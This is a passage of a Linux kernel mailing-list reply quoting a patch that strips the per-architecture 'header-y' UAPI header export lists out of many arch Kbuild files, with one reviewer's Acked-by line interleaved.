> +			genhdr-y += unistd_x32.h
> +
>  
>  	--- 7.3 generic-y
>  
> diff --git a/arch/alpha/include/uapi/asm/Kbuild b/arch/alpha/include/uapi/asm/Kbuild
> index d96f2ef5b639..b15bf6bc0e94 100644
> --- a/arch/alpha/include/uapi/asm/Kbuild
> +++ b/arch/alpha/include/uapi/asm/Kbuild
> @@ -1,43 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += a.out.h
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += compiler.h
> -header-y += console.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += fpu.h
> -header-y += gentrap.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += pal.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += reg.h
> -header-y += regdef.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += sysinfo.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/arc/include/uapi/asm/Kbuild b/arch/arc/include/uapi/asm/Kbuild
> index f50d02df78d5..b15bf6bc0e94 100644
> --- a/arch/arc/include/uapi/asm/Kbuild
> +++ b/arch/arc/include/uapi/asm/Kbuild
> @@ -1,5 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -header-y += elf.h
> -header-y += page.h
> -header-y += cachectl.h
> diff --git a/arch/arm/include/uapi/asm/Kbuild b/arch/arm/include/uapi/asm/Kbuild
> index 46a76cd6acb6..607f702c2d62 100644
> --- a/arch/arm/include/uapi/asm/Kbuild
> +++ b/arch/arm/include/uapi/asm/Kbuild
> @@ -1,23 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += fcntl.h
> -header-y += hwcap.h
> -header-y += ioctls.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += perf_regs.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += unistd.h
>  genhdr-y += unistd-common.h
>  genhdr-y += unistd-oabi.h
>  genhdr-y += unistd-eabi.h
> diff --git a/arch/arm64/include/uapi/asm/Kbuild b/arch/arm64/include/uapi/asm/Kbuild
> index 825b0fe51c2b..13a97aa2285f 100644
> --- a/arch/arm64/include/uapi/asm/Kbuild
> +++ b/arch/arm64/include/uapi/asm/Kbuild
> @@ -2,21 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += kvm_para.h
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += fcntl.h
> -header-y += hwcap.h
> -header-y += kvm_para.h
> -header-y += perf_regs.h
> -header-y += param.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += ucontext.h
> -header-y += unistd.h
> diff --git a/arch/avr32/include/uapi/asm/Kbuild b/arch/avr32/include/uapi/asm/Kbuild
> index 08d8a3d76ea8..610395083364 100644
> --- a/arch/avr32/include/uapi/asm/Kbuild
> +++ b/arch/avr32/include/uapi/asm/Kbuild
> @@ -1,26 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
>  generic-y += bitsperlong.h
>  generic-y += errno.h
>  generic-y += fcntl.h
> diff --git a/arch/blackfin/include/uapi/asm/Kbuild b/arch/blackfin/include/uapi/asm/Kbuild
> index 0bd28f77abc3..b15bf6bc0e94 100644
> --- a/arch/blackfin/include/uapi/asm/Kbuild
> +++ b/arch/blackfin/include/uapi/asm/Kbuild
> @@ -1,19 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += bfin_sport.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += fcntl.h
> -header-y += fixed_code.h
> -header-y += ioctls.h
> -header-y += kvm_para.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += unistd.h
> diff --git a/arch/c6x/include/uapi/asm/Kbuild b/arch/c6x/include/uapi/asm/Kbuild
> index e9bc2b2b8147..13a97aa2285f 100644
> --- a/arch/c6x/include/uapi/asm/Kbuild
> +++ b/arch/c6x/include/uapi/asm/Kbuild
> @@ -2,11 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += kvm_para.h
> -
> -header-y += byteorder.h
> -header-y += kvm_para.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += swab.h
> -header-y += unistd.h

Acked-by: Mark Salter <msalter@redhat.com>

> diff --git a/arch/cris/include/uapi/arch-v10/arch/Kbuild b/arch/cris/include/uapi/arch-v10/arch/Kbuild
> deleted file mode 100644
> index 9048c87a782b..000000000000
> --- a/arch/cris/include/uapi/arch-v10/arch/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += sv_addr.agh
> -header-y += sv_addr_ag.h
> -header-y += svinto.h
> -header-y += user.h
> diff --git a/arch/cris/include/uapi/arch-v32/arch/Kbuild b/arch/cris/include/uapi/arch-v32/arch/Kbuild
> deleted file mode 100644
> index 59efffd16b61..000000000000
> --- a/arch/cris/include/uapi/arch-v32/arch/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += cryptocop.h
> -header-y += user.h
> diff --git a/arch/cris/include/uapi/asm/Kbuild b/arch/cris/include/uapi/asm/Kbuild
> index d5564a0ae66a..d0c5471856e0 100644
> --- a/arch/cris/include/uapi/asm/Kbuild
> +++ b/arch/cris/include/uapi/asm/Kbuild
> @@ -1,44 +1,5 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += ../arch-v10/arch/
> -header-y += ../arch-v32/arch/
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += elf.h
> -header-y += elf_v10.h
> -header-y += elf_v32.h
> -header-y += errno.h
> -header-y += ethernet.h
> -header-y += etraxgpio.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += ptrace_v10.h
> -header-y += ptrace_v32.h
> -header-y += resource.h
> -header-y += rs485.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += sync_serial.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> +subdir-y += ../arch-v10/arch/
> +subdir-y += ../arch-v32/arch/
> diff --git a/arch/frv/include/uapi/asm/Kbuild b/arch/frv/include/uapi/asm/Kbuild
> index 42a2b33461c0..b15bf6bc0e94 100644
> --- a/arch/frv/include/uapi/asm/Kbuild
> +++ b/arch/frv/include/uapi/asm/Kbuild
> @@ -1,35 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += registers.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/h8300/include/uapi/asm/Kbuild b/arch/h8300/include/uapi/asm/Kbuild
> index fb6101a5d4f1..b15bf6bc0e94 100644
> --- a/arch/h8300/include/uapi/asm/Kbuild
> +++ b/arch/h8300/include/uapi/asm/Kbuild
> @@ -1,30 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += siginfo.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
> index db8ddabc6bd2..f3b1ceb5c1e4 100644
> --- a/arch/hexagon/include/asm/Kbuild
> +++ b/arch/hexagon/include/asm/Kbuild
> @@ -1,6 +1,3 @@
> -
> -header-y += ucontext.h
> -
>  generic-y += auxvec.h
>  generic-y += barrier.h
>  generic-y += bug.h
> diff --git a/arch/hexagon/include/uapi/asm/Kbuild b/arch/hexagon/include/uapi/asm/Kbuild
> index c31706c38631..b15bf6bc0e94 100644
> --- a/arch/hexagon/include/uapi/asm/Kbuild
> +++ b/arch/hexagon/include/uapi/asm/Kbuild
> @@ -1,15 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += kvm_para.h
> -header-y += param.h
> -header-y += ptrace.h
> -header-y += registers.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += swab.h
> -header-y += unistd.h
> -header-y += user.h
> diff --git a/arch/ia64/include/uapi/asm/Kbuild b/arch/ia64/include/uapi/asm/Kbuild
> index 891002bbb995..13a97aa2285f 100644
> --- a/arch/ia64/include/uapi/asm/Kbuild
> +++ b/arch/ia64/include/uapi/asm/Kbuild
> @@ -2,48 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += kvm_para.h
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += break.h
> -header-y += byteorder.h
> -header-y += cmpxchg.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += fpu.h
> -header-y += gcc_intrin.h
> -header-y += ia64regs.h
> -header-y += intel_intrin.h
> -header-y += intrinsics.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += perfmon.h
> -header-y += perfmon_default_smpl.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += ptrace_offsets.h
> -header-y += resource.h
> -header-y += rse.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -header-y += ustack.h
> diff --git a/arch/m32r/include/uapi/asm/Kbuild b/arch/m32r/include/uapi/asm/Kbuild
> index 43937a61d6cf..b15bf6bc0e94 100644
> --- a/arch/m32r/include/uapi/asm/Kbuild
> +++ b/arch/m32r/include/uapi/asm/Kbuild
> @@ -1,33 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/m68k/include/uapi/asm/Kbuild b/arch/m68k/include/uapi/asm/Kbuild
> index 6a2d257bdfb2..64368077235a 100644
> --- a/arch/m68k/include/uapi/asm/Kbuild
> +++ b/arch/m68k/include/uapi/asm/Kbuild
> @@ -9,27 +9,3 @@ generic-y += socket.h
>  generic-y += sockios.h
>  generic-y += termbits.h
>  generic-y += termios.h
> -
> -header-y += a.out.h
> -header-y += bootinfo.h
> -header-y += bootinfo-amiga.h
> -header-y += bootinfo-apollo.h
> -header-y += bootinfo-atari.h
> -header-y += bootinfo-hp300.h
> -header-y += bootinfo-mac.h
> -header-y += bootinfo-q40.h
> -header-y += bootinfo-vme.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += fcntl.h
> -header-y += ioctls.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += unistd.h
> diff --git a/arch/metag/include/uapi/asm/Kbuild b/arch/metag/include/uapi/asm/Kbuild
> index ab78be2b6eb0..b29731ebd7a9 100644
> --- a/arch/metag/include/uapi/asm/Kbuild
> +++ b/arch/metag/include/uapi/asm/Kbuild
> @@ -1,14 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += byteorder.h
> -header-y += ech.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += swab.h
> -header-y += unistd.h
> -
>  generic-y += mman.h
>  generic-y += resource.h
>  generic-y += setup.h
> diff --git a/arch/microblaze/include/uapi/asm/Kbuild b/arch/microblaze/include/uapi/asm/Kbuild
> index 1aac99f87df1..2178c78c7c1a 100644
> --- a/arch/microblaze/include/uapi/asm/Kbuild
> +++ b/arch/microblaze/include/uapi/asm/Kbuild
> @@ -2,35 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += types.h
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += elf.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += unistd.h
> diff --git a/arch/mips/include/uapi/asm/Kbuild b/arch/mips/include/uapi/asm/Kbuild
> index f2cf41461146..a0266feba9e6 100644
> --- a/arch/mips/include/uapi/asm/Kbuild
> +++ b/arch/mips/include/uapi/asm/Kbuild
> @@ -2,40 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += ipcbuf.h
> -
> -header-y += auxvec.h
> -header-y += bitfield.h
> -header-y += bitsperlong.h
> -header-y += break.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += inst.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += sgidefs.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += sysmips.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/mn10300/include/uapi/asm/Kbuild b/arch/mn10300/include/uapi/asm/Kbuild
> index 040178cdb3eb..b15bf6bc0e94 100644
> --- a/arch/mn10300/include/uapi/asm/Kbuild
> +++ b/arch/mn10300/include/uapi/asm/Kbuild
> @@ -1,34 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/nios2/include/uapi/asm/Kbuild b/arch/nios2/include/uapi/asm/Kbuild
> index e0bb972a50d7..766455d0d291 100644
> --- a/arch/nios2/include/uapi/asm/Kbuild
> +++ b/arch/nios2/include/uapi/asm/Kbuild
> @@ -1,5 +1,3 @@
> +# UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += elf.h
> -
>  generic-y += ucontext.h
> diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
> index 2832f031fb11..561915716fd9 100644
> --- a/arch/openrisc/include/asm/Kbuild
> +++ b/arch/openrisc/include/asm/Kbuild
> @@ -1,6 +1,3 @@
> -
> -header-y += ucontext.h
> -
>  generic-y += atomic.h
>  generic-y += auxvec.h
>  generic-y += barrier.h
> diff --git a/arch/openrisc/include/uapi/asm/Kbuild b/arch/openrisc/include/uapi/asm/Kbuild
> index 80761eb82b5f..b15bf6bc0e94 100644
> --- a/arch/openrisc/include/uapi/asm/Kbuild
> +++ b/arch/openrisc/include/uapi/asm/Kbuild
> @@ -1,10 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += byteorder.h
> -header-y += elf.h
> -header-y += kvm_para.h
> -header-y += param.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += unistd.h
> diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
> index 348356c99514..3971c60a7e7f 100644
> --- a/arch/parisc/include/uapi/asm/Kbuild
> +++ b/arch/parisc/include/uapi/asm/Kbuild
> @@ -2,31 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += resource.h
> -
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += pdc.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/powerpc/include/uapi/asm/Kbuild b/arch/powerpc/include/uapi/asm/Kbuild
> index dab3717e3ea0..b15bf6bc0e94 100644
> --- a/arch/powerpc/include/uapi/asm/Kbuild
> +++ b/arch/powerpc/include/uapi/asm/Kbuild
> @@ -1,47 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += bootx.h
> -header-y += byteorder.h
> -header-y += cputable.h
> -header-y += eeh.h
> -header-y += elf.h
> -header-y += epapr_hcalls.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += nvram.h
> -header-y += opal-prd.h
> -header-y += param.h
> -header-y += perf_event.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ps3fb.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += spu_info.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += tm.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> diff --git a/arch/s390/include/uapi/asm/Kbuild b/arch/s390/include/uapi/asm/Kbuild
> index bf736e764cb4..b15bf6bc0e94 100644
> --- a/arch/s390/include/uapi/asm/Kbuild
> +++ b/arch/s390/include/uapi/asm/Kbuild
> @@ -1,54 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += chpid.h
> -header-y += chsc.h
> -header-y += clp.h
> -header-y += cmb.h
> -header-y += dasd.h
> -header-y += debug.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += hypfs.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm.h
> -header-y += kvm_para.h
> -header-y += kvm_perf.h
> -header-y += kvm_virtio.h
> -header-y += mman.h
> -header-y += monwriter.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += qeth.h
> -header-y += resource.h
> -header-y += schid.h
> -header-y += sclp_ctl.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sie.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += tape390.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += ucontext.h
> -header-y += unistd.h
> -header-y += virtio-ccw.h
> -header-y += vtoc.h
> -header-y += zcrypt.h
> diff --git a/arch/score/include/asm/Kbuild b/arch/score/include/asm/Kbuild
> index a05218ff3fe4..128ca7ec0220 100644
> --- a/arch/score/include/asm/Kbuild
> +++ b/arch/score/include/asm/Kbuild
> @@ -1,7 +1,3 @@
> -
> -header-y +=
> -
> -
>  generic-y += barrier.h
>  generic-y += clkdev.h
>  generic-y += cputime.h
> diff --git a/arch/score/include/uapi/asm/Kbuild b/arch/score/include/uapi/asm/Kbuild
> index 040178cdb3eb..b15bf6bc0e94 100644
> --- a/arch/score/include/uapi/asm/Kbuild
> +++ b/arch/score/include/uapi/asm/Kbuild
> @@ -1,34 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/sh/include/uapi/asm/Kbuild b/arch/sh/include/uapi/asm/Kbuild
> index 60613ae78513..b15bf6bc0e94 100644
> --- a/arch/sh/include/uapi/asm/Kbuild
> +++ b/arch/sh/include/uapi/asm/Kbuild
> @@ -1,25 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += cpu-features.h
> -header-y += hw_breakpoint.h
> -header-y += ioctls.h
> -header-y += posix_types.h
> -header-y += posix_types_32.h
> -header-y += posix_types_64.h
> -header-y += ptrace.h
> -header-y += ptrace_32.h
> -header-y += ptrace_64.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += types.h
> -header-y += unistd.h
> -header-y += unistd_32.h
> -header-y += unistd_64.h
> diff --git a/arch/sparc/include/uapi/asm/Kbuild b/arch/sparc/include/uapi/asm/Kbuild
> index b5843ee09fb5..b15bf6bc0e94 100644
> --- a/arch/sparc/include/uapi/asm/Kbuild
> +++ b/arch/sparc/include/uapi/asm/Kbuild
> @@ -1,50 +1,2 @@
>  # UAPI Header export list
> -# User exported sparc header files
> -
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += apc.h
> -header-y += asi.h
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += display7seg.h
> -header-y += envctrl.h
> -header-y += errno.h
> -header-y += fbio.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += jsflash.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += openpromio.h
> -header-y += param.h
> -header-y += perfctr.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += psr.h
> -header-y += psrcompat.h
> -header-y += pstate.h
> -header-y += ptrace.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += traps.h
> -header-y += uctx.h
> -header-y += unistd.h
> -header-y += utrap.h
> -header-y += watchdog.h
> diff --git a/arch/tile/include/asm/Kbuild b/arch/tile/include/asm/Kbuild
> index 2d1f5638974c..057eaa533877 100644
> --- a/arch/tile/include/asm/Kbuild
> +++ b/arch/tile/include/asm/Kbuild
> @@ -1,6 +1,3 @@
> -
> -header-y += ../arch/
> -
>  generic-y += bug.h
>  generic-y += bugs.h
>  generic-y += clkdev.h
> diff --git a/arch/tile/include/uapi/arch/Kbuild b/arch/tile/include/uapi/arch/Kbuild
> deleted file mode 100644
> index 97dfbecec6b6..000000000000
> --- a/arch/tile/include/uapi/arch/Kbuild
> +++ /dev/null
> @@ -1,17 +0,0 @@
> -# UAPI Header export list
> -header-y += abi.h
> -header-y += chip.h
> -header-y += chip_tilegx.h
> -header-y += chip_tilepro.h
> -header-y += icache.h
> -header-y += interrupts.h
> -header-y += interrupts_32.h
> -header-y += interrupts_64.h
> -header-y += opcode.h
> -header-y += opcode_tilegx.h
> -header-y += opcode_tilepro.h
> -header-y += sim.h
> -header-y += sim_def.h
> -header-y += spr_def.h
> -header-y += spr_def_32.h
> -header-y += spr_def_64.h
